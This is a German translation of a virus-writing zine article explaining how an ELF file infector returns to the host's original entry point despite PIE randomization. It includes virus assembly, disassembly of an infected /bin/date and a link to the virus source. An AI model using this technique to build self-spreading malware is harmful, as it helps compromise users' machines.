┌───────────────────────┐ ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │ │ █ █ █ █ █ █ │ │ █ █ █ █ █▀▀▀▀ │ │ █ █ █ █ ▄ │ │ ▄▄▄▄▄ │ │ █ █ │ │ █ █ │ │ █▄▄▄█ │ │ ▄ ▄ │ │ █ █ │ │ █ █ │ │ █▄▄▄█ │ │ ▄▄▄▄▄ │ │ █ │ Rückkehr zum originalem Eintrittspunkt trotz PIE │ █ │ ~ S01den └───────────────────█ ──┘ [ Übersetzung von SaThaRiel ] Mit Liebe geschrieben von S01den, von der tmp.out Crew ! --- 1) Einleitung --- Als ich meine ersten Schritte durch die Welt der Viren unternommen habe, war eins der ersten Dinge, mit denen ich zu kämpfen hatte, wie man richig zum Original- Eintrittspunkt des Hosts zurück springt. Dies ist eine Kernfunktion jedes Virus, der diesen Namen verdient und war in der Vergangenheit sehr einfach zu implemen- tieren (mov ebx, OEP; jmp ebx). Jetzt fragst Du Dich sicherlich "Wieso ist es nicht mehr so einfach?" Die Antwort kann man in 3 Buchstaben ausdrücken: PIE, was Position Independent Executable (Positionsunabhängige ausführbare Datei) bedeutet. Bei solchen Binaries werden die Addressen der Instruktionen zufällig bei jeder Ausführung vergeben (ab- gesehen vom Alignment). Damit ist der originale Eintrittspunkt (OEP) nicht mehr Konstant, wir müssen ihn berechnen, bevor wir zu ihm springen können. Dann wollen wir mal sehen, wie wir das hinbekommen! --- 2) Rückkehr zu OEP trotz PIE --- Ich werde hier die Methode beschreiben, die ich benutzt habe, um Ret2OEP in Lin64.Kropotkoine[0] zu berechnen. Als ich für ein paar Tage fest hing, hat mir der Artikel von Elfmaster[1] sehr gut weiter geholfen. Hier ist also der Code: -------------------------------- CUT-HERE ------------------------------------------ mov rcx, r15 ;r15 beinhaltet die Stack Addresse, an der unser Viruscode steht add rcx, VXSIZE ; rcx beinhaltet nun die Addresse nach dem Code des Virus mov dword [rcx], 0xffffeee8 ; relativer Sprung zu get_eip (13 Bytes vorher) mov dword [rcx+4], 0x0d2d48ff ; sub rax, (VXSIZE+5) mov byte [rcx+8], 0x00000005 mov word [rcx+11], 0x0002d48 mov qword [rcx+13], r9 ; sub rax, entry0 mov word [rcx+17], 0x0000548 mov qword [rcx+19], r12 ; add rax, sym._start mov dword [rcx+23], 0xfff4894c ; mov rsp, r14 mov word [rcx+27], 0x00e0 ; jmp rax ------------------------------------------------------------------------------------ Wie Du sehen kannst, schreiben wir den Code, um zum OEP zurück zu springen, Byte pro Byte direkt in den Speicher (nach dem Code des Virus, sodass wir in diese Routine springen können, wenn der vorherige Viruscode mit der Ausführung fertig ist). Hiermit möchten wir sowas erreichen: (der Code kommt von /bin/date, dass ich mit Lin64.Kropotkine infiziert habe) -------------------------------- CUT-HERE ------------------------------------------ ; Ende des VX Code: get_rip: 0x0c01ada3 488b0424 mov rax, qword [rsp] 0x0c01ada7 c3 ret getdot: 0x0c01ada8 e842fbffff call 0xc01a8ef ; call main 0x0c01adad 2e0000 add byte cs:[rax], al ; '.' ; <---- Ende des Virus Codes, hier wird der Ret2OEP Code eingeschleußt! ; der Code, den wir hier haben möchten 0x0c01adb0 e8eeffffff call 0xc01ada3 ; call get_rip <-- 0x0c01adb5 482d0d050000 sub rax, 0x50d ; sub rax, (VXSIZE+5) 0x0c01adbb 482da8a8010c sub rax, entry0 0x0c01adc1 4805b0380000 add rax, 0x38b0 ; add rax, sym._start 0x0c01adc7 4c89f4 mov rsp, r14 ; to restore the orignal stack 0x0c01adca ffe0 jmp rax ------------------------------------------------------------------------------------ Die Idee, OEP zu berechnen, ist nicht sehr kompliziert. Nehmen wir mal an, dass Offset zur ersten Instruktion im Originalcode des Hosts ist 0x38b0 und RIP ist im Moment 0x55556156edb5 (eine zufällige Addresse), wenn wir get_rip aufrufen (0x0c01adb0 in obigen Beispiel). Wir möchten die zufällige Addresse des OEP herausfinden, damit wir dort hinspringen können. Der Aufruf von get_rip läd RIP in RAX und wir wissen, dass wir zuerst die Größe des Viruscodes (plus 5, die Größe von call get_rip) abziehen müssen, um die zufäl- lige Addresse des Anfangs des Virus zu errechnen. ---> 0x55556156edb5 - (0x508 + 5) = 0x55556156e8a8 ; die Addresse der ersten Instruktion des VX Codes Jetzt ziehen wir noch die nicht-zufällige Addresse des Anfangs des Viruscodes ab (diese wurde vorher in der Virusausführung berechnet - 0x0c01adb0 in unserem Beispiel). So wir können einfach folgendes berechnen: ---> zufälliger neuer Eintrittspunkt - nicht-zufällige Eintrittspunktaddresse (e_hdr.entry) Mit unseren Werten sieht dies folgendermaßen aus: ---> 0x55556156e8a8 - 0xc01a8a8 = 0x555555554000 Wir haben diese Substraktion durchgeführt, um die Basis herauszufinden. Diesen Wert müssen wir nun einfach zu dem Original e_hdr.entry addieren (der nicht-zufällige OEP). ---> 0x555555554000 + 0x38b0 = 0x5555555578b0 Damit haben wir die richtige Sprungaddresse! Somit wird jmp rax die Ausführung am Anfang des Hostcodes beginnen! --- Fazit Zusammenfassend haben wir in etwa folgendes durchgeführt: ---> get_rip() - (VX_SIZE + 5) - new_EP + original-e_hdr.entry Schnelle Matheaufgabe, wie man sehen kann ! ;) Lang lebe die VX Szene ! Hier ist die Authorität, da ist keine Freiheit. Alles ist für Alle. Hasta siempre! --- Notizen and Referenzen --- [0] https://github.com/vxunderground/MalwareSourceCode /blob/main/VXUG/Linux.Kropotkine.asm [1] Modern ELF Infection Techniques of SCOP Binaries: https://bitlackeys.org/papers/pocorgtfo20.pdf - especially the part named: "Note on resolving Elf_Hdr->e_entry in PIEexecutables" --- Quellen --- - Linux.Kropotkine.asm